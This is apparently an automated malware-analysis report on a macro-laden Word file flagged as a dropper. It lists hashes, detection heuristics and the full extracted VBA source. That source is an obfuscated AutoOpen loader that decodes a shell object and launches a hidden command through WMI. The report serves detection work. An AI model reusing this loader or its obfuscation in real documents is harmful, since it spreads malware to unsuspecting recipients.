Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 081077d0b610edf6…

MALICIOUS

Office (OOXML)

36.1 KB Created: 2019-04-02 18:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 268f3085691bd6f69c07927826752075 SHA-1: c3778b6948f32f294b37826e956fada2216da87b SHA-256: 081077d0b610edf636f9ad107e3c84828ab685cc7f755203d7f851bc3e343bd8
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious OOXML document containing an obfuscated VBA macro that executes via the AutoOpen function. The script uses CreateObject and GetObject to execute a payload, likely downloaded from a remote source, as indicated by the ClamAV detection name 'Doc.Dropper.Agent'. The macro's obfuscated nature and use of AutoOpen strongly suggest it's a downloader for a second-stage exploit.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6932726-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6932726-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/XML�a�In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1884 bytes
SHA-256: 29cfecb64d058d8e81fe83e4953379d745f598863ceac98a391e2df612b55512
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function IN_XX()
    Dim V_DK As String
    V_DK = "116144128143134141145075112133130137137"
    Dim C_EJ As Object: Set C_EJ = VBA.CreateObject(M_IX(V_DK))
    Dim R_IU As String
    R_IU = "N9K2Q2W2G6W2I2R6G1V6E1J3V0T4D6V1P6J4B1T4V9B8S1X5O0C2D4D3N5K6P4X0W6X1F9M7"
    Dim W_DS As String
    W_DS = "I5V9X8D5P5P3B4O0I1R0E8A7W7B7Z1T5Q5A6Z6W0X7H5P0N9L7T2P9N5R9F1O9N5O9J6H5V2"
    Dim V_ZB As String
    V_ZB = "U7T1F0J9T8S5W4T2B3T3I6N8M2W4P8D6Y0Z8C0D9G4S0T0I5J8M8T8R9L2M4P2G6I0E0K1I9"
    Dim O_YJ As String
    O_YJ = "L8Y3E4W6X2E1J1Y6B8A2R5D1B3W8T7R0T0F1F4I8B5S8Z1V8V0M8V3D3Q5F7Q9N0Y8X8L8Q8"
    Dim G_UT As String
    G_UT = "O4R1M9M1D8T5Q5D0T2V3Q8A0T9C9L4V8N8W2M2R2K7E8W6H9D4R7O9A3F3B5S2A0C6L1U2Y7"
    Dim SQ_XX As String
    SQ_XX = "Q7H4Z8D6J2W3L7E0Y6W1H7W7Q7P5T4E8G2F9T6P3F6E7O4S5I0O5U6G5G8J7F1U9B4Y0Q0G4"
    Dim I_HJ As String
    I_HJ = "Z2U6V2W2P2A9C1W7X8R0M3L1S9T8G1G8B2I9X5Z5K7U9W6K1X9X9I8Z2A7P1T7C6Z3B0D0H2"
    Dim P_VX As String
    P_VX = "Y2B1G7V7S0F0T7B8U6N2W3P9K6G9T9Y5B2W3P9L6X6H7H6L5L3M9Z9V3H1G8M0I4A8H4X7F2"
    Dim D_EF As String
    D_EF = "Y2E2P4D5D7E7Y4Q9F9H9W8T4L3J2C9N2C9W6H8E3O0W6K8T2Y2W1Z0I5H1T4M5G3D6P9A3P0"

    C_EJ.Exec M_IX(ActiveDocument.Variables("PF_LL"))
End Function

Sub AutoOpen()
    GetObject("Winmgmts:").Get(StrReverse("sSeCoRp_23NiW")).Create IN_XX, Null, Null, pid

End Sub

Public Function M_IX(ByVal P_RH As String)

    For AB_SS = 1 To Len(P_RH) Step 3
        RO_AA = Mid(P_RH, AB_SS, 3)
        B_ID = B_ID + Chr(Int(RO_AA) - 29)
    Next

M_IX = B_ID

End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: f9af426ab1872ce53bd6942739aa78c08cccb76a17c174702dd619b1fa406fef

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